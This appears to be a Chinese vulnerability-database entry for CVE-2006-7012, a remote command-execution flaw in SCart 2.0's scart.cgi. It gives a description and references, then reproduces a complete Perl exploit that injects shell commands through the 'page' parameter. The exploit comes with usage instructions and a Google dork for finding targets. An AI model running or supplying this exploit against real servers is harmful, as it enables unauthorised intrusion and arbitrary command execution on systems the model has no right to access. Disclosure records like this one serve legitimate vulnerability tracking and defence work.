SCart 'scart.cgi' 指令执行漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110397 漏洞类型 未知
发布时间 2006-06-04 更新时间 2007-02-14
CVE编号 CVE-2006-7012 CNNVD-ID CNNVD-200702-282
漏洞平台 PHP CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/1876
https://www.securityfocus.com/bid/87018
https://cxsecurity.com/issue/WLB-2007020060
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200702-282
|漏洞详情
SCart2.0版本中存在scart.cgi存在指令执行漏洞。远程攻击者可以借助show_text操作中的页参数的外壳元字符执行任意指令。
|漏洞EXP
#!/usr/bin/perl
##
#     SCart 2.0 Remote Code Execution Exploit
#          Bugs Found & code By K-159
#               
## base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt
#   
#  echo.or.id (c) 2006
#
##
# usage:
# perl scart.pl <target> </path/> "cmd"
#
# Google Dork : site: scartserver.com
#
# Greetz: my soul mate,echo|staff,aikmel|crew,masterpop3,SinChan,rizal,etc
#
# Contact: eufrato[at]gmail.com www.echo.or.id #e-c-h-o @irc.dal.net
#
use IO::Socket;
use LWP::Simple;

sub Usage {
print STDERR "\n ========================================================= \r\n";
print STDERR "      *SCart 2.0 Remote Code Execution Exploit* \r\n";
print STDERR "                Bugs Found by K-159 \r\n";
print STDERR "         www.echo.or.id #e-c-h-o irc.dal.net \r\n";
print STDERR "        Usage: $0 <www.target.com> </path/> \"cmd\" \r\n";
print STDERR "============================================================= \r\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}


$host = @ARGV[0];
$path = @ARGV[1];
$command = @ARGV[2];

print "\n[+] Conecting to $host\n";

my $result = get("http://$host$path/scart.cgi?action=show_page&base= base2.html&page=browse.txt|$command|");

if (defined $result) {
print $result;
}
else {
print "Exploit Failed.\n";
} 

# milw0rm.com [2006-06-04]
|受影响的产品
Scart Scart 2.0
|参考资料

来源:XF
名称:scart-cgi-command-execution(26921)
链接:http://xforce.iss.net/xforce/xfdb/26921
来源:BUGTRAQ
名称:20060603[ECHO_ADV_32$2006]SCart2.0RemoteCodeExecution
链接:http://www.securityfocus.com/archive/1/archive/1/435861/30/4710/threaded
来源:MILW0RM
名称:1876
链接:http://www.milw0rm.com/exploits/1876
来源:MISC
链接:http://advisories.echo.or.id/adv/adv32-K-159-2006.txt
来源:SREASON
名称:2257
链接:http://securityreason.com/securityalert/2257